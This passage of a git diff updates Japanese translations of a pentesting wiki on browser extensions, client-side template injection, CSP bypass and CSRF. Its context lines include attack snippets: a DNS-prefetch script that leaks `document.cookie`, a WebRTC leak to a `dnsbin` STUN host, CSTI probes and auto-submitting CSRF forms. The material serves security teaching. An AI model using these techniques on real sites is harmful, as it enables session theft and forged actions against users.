メッセージを期待する場合は、許可リストのドメインのみを許可する必要があります。 - 正規表現が使用される場合は、非常に注意が必要です。 - **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウ**からのものであるかどうかを確認できます。 @@ -474,7 +474,7 @@ browext-xss-example.md ### DOM -これは「正確に」通信方法ではありませんが、**ウェブとコンテンツスクリプトはウェブDOMにアクセスできます**。したがって、**コンテンツスクリプト**がそこから情報を読み取っている場合、**ウェブDOMを信頼している**と、ウェブはこのデータを**変更する可能性があります**(ウェブは信頼されるべきではないため、またはウェブがXSSに脆弱であるため)し、**コンテンツスクリプトを危険にさらす**可能性があります。 +これは「正確に」通信方法ではありませんが、**ウェブとコンテンツスクリプトはウェブDOMにアクセスできます**。したがって、**コンテンツスクリプト**がそこから情報を読み取っている場合、**ウェブDOMを信頼している**と、ウェブはこのデータを**変更する可能性があります**(ウェブは信頼されるべきではないため、またはウェブがXSSに対して脆弱であるため)し、**コンテンツスクリプトを危険にさらす**可能性があります。 **DOMベースのXSSを使用してブラウザ拡張を危険にさらす**例も以下にあります: @@ -529,7 +529,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) ## ネイティブメッセージング -ブラウザ拡張機能は、**stdinを介してシステム内のバイナリと通信することも可能です**。アプリケーションは、次のようなjsonを示すjsonをインストールする必要があります: +ブラウザ拡張機能は、**システム内のバイナリと stdin 経由で通信することも可能です**。アプリケーションは、次のような json を示す json をインストールする必要があります: ```json { "name": "com.my_company.my_application", @@ -575,7 +575,7 @@ console.log("Received " + response) ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に行き、**`Inspect pop-up`**をクリック -> **`Memory`**セクション -> **`Take a snapshot`**を選択し、**`CTRL+F`**でスナップショット内の機密情報を検索します。 -さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**(または少なくとも数秒以内にクリップボードから削除するべきです)なぜなら、クリップボードを監視しているプロセスがそれらを取得できるからです。 +さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**(または少なくとも数秒以内にクリップボードから削除するべきです)なぜなら、その後クリップボードを監視しているプロセスがそれらを取得できるからです。 ## ブラウザに拡張機能を読み込む @@ -612,26 +612,26 @@ unzip -d "$extension_id-source" "$extension_id.zip" ローカルにインストールされたChrome拡張機能も検査できます。方法は以下の通りです: -1. `chrome://version/`にアクセスし、「Profile Path」フィールドを見つけて、Chromeのローカルプロファイルディレクトリに移動します。 +1. `chrome://version/`にアクセスし、「Profile Path」フィールドを見つけてChromeのローカルプロファイルディレクトリに移動します。 2. プロファイルディレクトリ内の`Extensions/`サブフォルダに移動します。 -3. このフォルダには、通常は読みやすい形式のソースコードを持つすべてのインストールされた拡張機能が含まれています。 +3. このフォルダにはすべてのインストールされた拡張機能が含まれており、通常は読みやすい形式のソースコードがあります。 拡張機能を特定するには、IDを名前にマッピングできます: -- `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを確認します。 -- 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドが含まれています。 +- `about:extensions`ページでデベロッパーモードを有効にして、各拡張機能のIDを確認します。 +- 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドがあります。 ### ファイルアーカイバまたはアンパッカーを使用する -Chrome Web Storeにアクセスして拡張機能をダウンロードします。ファイルは`.crx`拡張子を持っています。ファイルの拡張子を`.crx`から`.zip`に変更します。任意のファイルアーカイバ(WinRAR、7-Zipなど)を使用してZIPファイルの内容を抽出します。 +Chrome Web Storeに行き、拡張機能をダウンロードします。ファイルは`.crx`拡張子を持っています。ファイルの拡張子を`.crx`から`.zip`に変更します。任意のファイルアーカイバ(WinRAR、7-Zipなど)を使用してZIPファイルの内容を抽出します。 -### Chromeで開発者モードを使用する +### Chromeでデベロッパーモードを使用する -Chromeを開き、`chrome://extensions/`に移動します。右上で「開発者モード」を有効にします。「解凍された拡張機能を読み込む...」をクリックします。拡張機能のディレクトリに移動します。これはソースコードをダウンロードするものではありませんが、すでにダウンロードまたは開発された拡張機能のコードを表示および修正するのに便利です。 +Chromeを開き、`chrome://extensions/`に移動します。右上で「デベロッパーモード」を有効にします。「解凍された拡張機能を読み込む...」をクリックします。拡張機能のディレクトリに移動します。これはソースコードをダウンロードするものではありませんが、すでにダウンロードまたは開発された拡張機能のコードを表示および変更するのに便利です。 ## Chrome拡張機能マニフェストデータセット -脆弱なブラウザ拡張機能を見つけるために、[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)を使用して、マニフェストファイルに潜在的な脆弱性の兆候がないか確認できます。たとえば、25000人以上のユーザーを持つ拡張機能、`content_scripts`、および権限`nativeMessaging`を確認するには: +脆弱なブラウザ拡張機能を見つけるために、[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)を使用し、マニフェストファイルに潜在的な脆弱性の兆候がないか確認できます。たとえば、25000人以上のユーザーを持つ拡張機能、`content_scripts`、および権限`nativeMessaging`を確認するには: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" @@ -640,16 +640,16 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt ブラウザ拡張機能は**限られた攻撃面**を持っていますが、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです: -- [ ] **要求される** **`permissions`** を可能な限り制限する -- [ ] **`host_permissions`** を可能な限り制限する +- [ ] **要求される** **`permissions`** をできるだけ制限する +- [ ] **`host_permissions`** をできるだけ制限する - [ ] **強力な** **`content_security_policy`** を使用する -- [ ] **`externally_connectable`** を可能な限り制限する。必要がない場合はデフォルトで残さず、**`{}`** を指定する +- [ ] **`externally_connectable`** をできるだけ制限する。必要がない場合はデフォルトで残さず、**`{}`** を指定する - [ ] ここに**XSSまたは乗っ取りに脆弱なURL**が記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信できる**。非常に強力なバイパスです。 -- [ ] **`web_accessible_resources`** を可能な限り制限する。可能であれば空にする。 +- [ ] **`web_accessible_resources`** をできるだけ制限する。可能であれば空にする。 - [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md)を確認する - [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、[**XSS**](browext-xss-example.md) **脆弱性**が通信によって引き起こされていないか確認する。 -- [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)**を確認する。** -- [ ] **Content ScriptがDOMの詳細にアクセスする**場合、ウェブによって**変更される**と**XSSを導入していないか**確認する +- [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/index.html)**を確認する。** +- [ ] **Content ScriptがDOMの詳細にアクセスする**場合、ウェブによって**変更される**ことで**XSSを導入していないか**確認する - [ ] この通信が**Content Script -> バックグラウンドスクリプト通信**にも関与している場合は特に強調する - [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされているか確認する - [ ] **機密情報は**ブラウザ拡張機能の**コード内に保存すべきではない** @@ -666,7 +666,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - 提供されたChromeウェブストアリンクから任意のChrome拡張機能を取得します。 - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**:拡張機能のマニフェストのJSON整形バージョンを表示します。 -- **フィンガープリンター分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。 +- **フィンガープリンタ分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。 - **潜在的なClickjacking分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに脆弱である可能性があります。 - **権限警告ビューワー**:ユーザーが拡張機能をインストールしようとしたときに表示されるすべてのChrome権限プロンプト警告のリストを表示します。 - **危険な関数**:攻撃者によって悪用される可能性のある危険な関数の場所を示します(例:innerHTML、chrome.tabs.executeScriptなど)。 @@ -677,19 +677,19 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - コードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。 - アラートが発生したファイルのパス。 - アラートが発生したファイルの完全なChrome拡張機能URI。 -- それがどのようなファイルであるか(バックグラウンドページスクリプト、コンテンツスクリプト、ブラウザアクションなど)。 +- それがどのタイプのファイルであるか(バックグラウンドページスクリプト、コンテンツスクリプト、ブラウザアクションなど)。 - 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページのタイプ、[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ステータス。 - **コンテンツセキュリティポリシー(CSP)アナライザーおよびバイパスチェッカー**:これにより、拡張機能のCSPの弱点が指摘され、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法が明らかになります。 - **既知の脆弱なライブラリ**:これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。 - 拡張機能とフォーマットされたバージョンをダウンロード。 - 元の拡張機能をダウンロード。 -- 拡張機能の美化されたバージョンをダウンロード(自動整形されたHTMLとJavaScript)。 +- 拡張機能の整形されたバージョンをダウンロード(自動整形されたHTMLとJavaScript)。 - スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、拡張機能が更新されていない限り、2回目は結果がキャッシュされるため、ほぼ瞬時に完了します。 -- リンク可能なレポートURL。簡単に他の人にTarnishによって生成された拡張機能レポートへのリンクを提供します。 +- リンク可能なレポートURL。簡単に他の人にTarnishによって生成された拡張機能のレポートにリンクできます。 ### [Neto](https://github.com/elevenpaths/neto) -プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダー、またはJavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。 +プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダ、JavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。 ## 参考文献 diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 5aabacac2..83cbc6f94 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,7 +4,7 @@ ## 概要 -これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/)に似ていますが、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザで**任意のJavaScript**コードを**実行**することを可能にするかもしれません。 +これは[**サーバーサイドテンプレートインジェクション**](ssti-server-side-template-injection/index.html)のようなもので、**クライアント**側で発生します。**SSTI**はリモートサーバー上で**コードを実行**することを可能にしますが、**CSTI**は被害者のブラウザで**任意のJavaScript**コードを**実行**することを可能にします。 この脆弱性の**テスト**は、**SSTI**の場合と非常に**似ています**。インタープリターは**テンプレート**を期待し、それを実行します。例えば、`{{ 7-7 }}`のようなペイロードを使用した場合、アプリが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。 @@ -49,7 +49,7 @@ A really good post on CSTI in VUE can be found in [https://portswigger.net/resea ``` クレジット: [Mario Heiderich](https://twitter.com/cure53berlin) -**さらに多くのVUEペイロードを確認するには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) +**他のVUEペイロードを確認するには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) ## Mavo @@ -67,7 +67,7 @@ javascript:alert(1)%252f%252f..%252fcss-images test [self.alert(1)mod1] ``` -**さらにペイロードは** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) +**さらに多くのペイロードは** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) ## **ブルートフォース検出リスト** diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 58e03a9d4..175f3fb40 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,14 +1,14 @@ -# コンテンツセキュリティポリシー (CSP) バイパス +# Content Security Policy (CSP) Bypass {{#include ../../banners/hacktricks-training.md}} -## CSPとは +## What is CSP -コンテンツセキュリティポリシー (CSP) は、主に**クロスサイトスクリプティング (XSS) などの攻撃から保護するためのブラウザ技術**として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval`、`setTimeout`、`setInterval` などの関数を通じて文字列コードの実行を含むことがあります。 +Content Security Policy (CSP) は、主に **クロスサイトスクリプティング (XSS) などの攻撃から保護することを目的としたブラウザ技術** として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScript などのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval`、`setTimeout`、`setInterval` などの関数を通じて文字列コードの実行を含むことがあります。 -CSPの実装は、**レスポンスヘッダー**を介して行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。 +CSP の実装は、**レスポンスヘッダー**を通じて、または **HTML ページにメタ要素を組み込むことによって** 行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。 -- レスポンスヘッダーを介して実装される: +- Implemented via response header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSPはこれらのヘッダーを使用して強制または監視できます: - `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします。 -- `Content-Security-Policy-Report-Only`: 監視用に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。 +- `Content-Security-Policy-Report-Only`: 監視に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。 ### リソースの定義 @@ -37,14 +37,14 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` -### 指令 +### ディレクティブ -- **script-src**: JavaScriptの特定のソースを許可します。これには、URL、インラインスクリプト、イベントハンドラーやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。 +- **script-src**: JavaScriptの特定のソースを許可します。これにはURL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。 - **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。 - **child-src**: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。 - **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。 - **frame-src**: フレームのためのURLを制限します。 -- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは、``、` // The bot will load an URL with the payload @@ -540,17 +540,17 @@ console.log(prefix) run() ``` -### ブックマークレットを介して +### Via Bookmarklets この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせる**というソーシャルエンジニアリングを含むことになります。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことを可能にします**。 -詳細については[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 +詳細については、[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 -### CSPを制限することによるCSPバイパス +### CSP bypass by restricting CSP -[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込む**ことが可能になりました。 +[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込むことができました**。 -**`csp`**属性を使用して、**iframeのCSPを制限する**ことができます: +**`csp`**属性を使用して、**IframeのCSPを制限することができます**: ```html ' ``` -### CSPとIframeによる情報漏洩 +### CSPとIframeを使用した情報漏洩 -- `iframe`がCSPによって許可されたURL(例えば`https://example.redirect.com`)を指すように作成されます。 +- `iframe`がCSPによって許可されたURL(これを`https://example.redirect.com`と呼びます)を指すように作成されます。 - このURLは、CSPによって**許可されていない**秘密のURL(例:`https://usersecret.example2.com`)にリダイレクトします。 - `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。 -ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作によって機密情報が漏洩する可能性があることは興味深いです。 +ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作により機密情報が漏洩する可能性があることは興味深いです。 -別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。例えば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです: +別の手法は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです: ```markdown img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` @@ -599,11 +599,11 @@ CSPによってブロックまたは許可されるリクエストを監視す ### パラメータが多すぎるときのPHPエラー -この[**動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**`header()`**は、このエラーが発生するため**送信されません**。 +[**この動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**`header()`**は、このエラーがトリガーされるため**送信されません**。 ### PHPレスポンスバッファのオーバーロード -PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**は**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\ +PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\ この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにすることです。 [**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。 @@ -619,7 +619,7 @@ a.document.body.innerHTML = ` ``` ### DNS Prefetch -ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\ +ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、それを後で使用するためにキャッシュします。\ ブラウザにホスト名を事前解決させるには、次のように指定できます: `` -この動作を悪用して、**DNSリクエストを介して機密情報を漏洩させる**ことができます: +この動作を悪用して、**DNSリクエストを介して機密情報を流出させる**ことができます: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -669,7 +669,7 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -このような事態を避けるために、サーバーはHTTPヘッダーを送信できます: +この問題を避けるために、サーバーはHTTPヘッダーを送信できます: ``` X-DNS-Prefetch-Control: off ``` @@ -678,9 +678,9 @@ X-DNS-Prefetch-Control: off ### WebRTC -いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。 +いくつかのページでは、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。 -実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください: +実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 5ec1be737..a88a54a28 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -4,7 +4,7 @@ ## Cross-Site Request Forgery (CSRF) Explained -**Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを悪用して、無防備なユーザーの代わりにアクションを実行することを可能にします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。 +**Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを利用して、無防備なユーザーの代わりにアクションを実行することを可能にします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。 ### Prerequisites for a CSRF Attack @@ -39,11 +39,11 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ ### From POST to GET -悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信するように準備されている**かもしれませんが、**GET**も**有効**であり、GETリクエストを送信したときに**CSRFトークンがまだ検証されているかどうかを確認**する必要があります。 +悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信するように準備されている**かもしれませんが、**GET**も**有効**であり、GETリクエストを送信したときに**CSRFトークンがまだ検証されているか**を**確認**する必要があります。 ### Lack of token -アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを運ぶパラメータを**削除することによって**これを悪用できます。これにより、検証プロセスを回避し、Cross-Site Request Forgery (CSRF)攻撃を効果的に実行できます。 +アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを運ぶパラメータを**削除すること**によってこれを悪用できます。これにより、検証プロセスを回避し、効果的にCross-Site Request Forgery (CSRF)攻撃を実行できます。 ### CSRF token is not tied to the user session @@ -59,9 +59,9 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ ### Method bypass -リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているかどうかを確認してください。たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます:_https://example.com/my/dear/api/val/num?**\_method=PUT**_ +リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているか確認してください。例えば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます:_https://example.com/my/dear/api/val/num?**\_method=PUT**_ -これは、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することで機能する場合もあります: +これは、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することでもうまくいく可能性があります: - _X-HTTP-Method_ - _X-HTTP-Method-Override_ @@ -72,13 +72,13 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ リクエストが**CSRF保護メソッド**として**トークン**を持つ**カスタムヘッダー**を追加している場合: - **カスタマイズされたトークンとヘッダーなしでリクエストをテスト**します。 -- **同じ長さだが異なるトークンでリクエストをテスト**します。 +- **同じ長さだが異なるトークン**でリクエストをテストします。 ### CSRF token is verified by a cookie アプリケーションは、トークンをクッキーとリクエストパラメータの両方に複製することによってCSRF保護を実装するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することがあります。アプリケーションは、リクエストパラメータ内のトークンがクッキーの値と一致するかどうかを確認することでリクエストを検証します。 -ただし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる欠陥がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。 +しかし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる欠陥がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。 以下は、攻撃がどのように構成されるかの例です: ```html @@ -103,11 +103,11 @@ onerror="document.forms[0].submit();" /> ``` > [!NOTE] -> セッションクッキーに**csrfトークンが関連付けられている場合、この攻撃は機能しません**。なぜなら、被害者のセッションを設定する必要があり、そのため自分自身を攻撃することになります。 +> **csrfトークンがセッションクッキーに関連している場合、この攻撃は機能しません**。なぜなら、あなたは被害者のセッションを設定する必要があり、そのため自分自身を攻撃することになります。 ### Content-Typeの変更 -[**これ**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)によると、**POST**メソッドを使用して**プレフライト**リクエストを回避するために、許可されているContent-Typeの値は次のとおりです。 +[**これ**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)によると、**POST**メソッドを使用して**プレフライト**リクエストを回避するために、許可されているContent-Typeの値は次のとおりです: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** @@ -115,7 +115,7 @@ onerror="document.forms[0].submit();" /> ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._などの他の値も試すべきです。 -例([ここ](https://brycec.me/posts/corctf_2021_challenges)から)では、JSONデータをtext/plainとして送信しています。 +例([ここ](https://brycec.me/posts/corctf_2021_challenges)から)として、JSONデータをtext/plainとして送信する方法: ```html @@ -134,13 +134,13 @@ form.submit() ``` -### JSONデータのプリフライトリクエストをバイパスする +### JSONデータのためのプリフライトリクエストのバイパス -POSTリクエストを介してJSONデータを送信しようとする際、HTMLフォームで`Content-Type: application/json`を使用することは直接的には不可能です。同様に、`XMLHttpRequest`を使用してこのコンテンツタイプを送信すると、プリフライトリクエストが開始されます。それでも、この制限を回避し、サーバーがContent-Typeに関係なくJSONデータを処理するかどうかを確認するための戦略があります: +POSTリクエストを介してJSONデータを送信しようとする際、HTMLフォームで`Content-Type: application/json`を使用することは直接的には不可能です。同様に、`XMLHttpRequest`を使用してこのコンテンツタイプを送信すると、プリフライトリクエストが開始されます。それにもかかわらず、この制限を回避し、サーバーがContent-Typeに関係なくJSONデータを処理するかどうかを確認するための戦略があります: 1. **代替コンテンツタイプの使用**: フォームで`enctype="text/plain"`を設定することにより、`Content-Type: text/plain`または`Content-Type: application/x-www-form-urlencoded`を使用します。このアプローチは、バックエンドがContent-Typeに関係なくデータを利用するかどうかをテストします。 -2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを保証しつつプリフライトリクエストを回避するために、`Content-Type: text/plain; application/json`でデータを送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが`application/json`を受け入れるように設定されていれば正しく処理される可能性があります。 -3. **SWFフラッシュファイルの利用**: 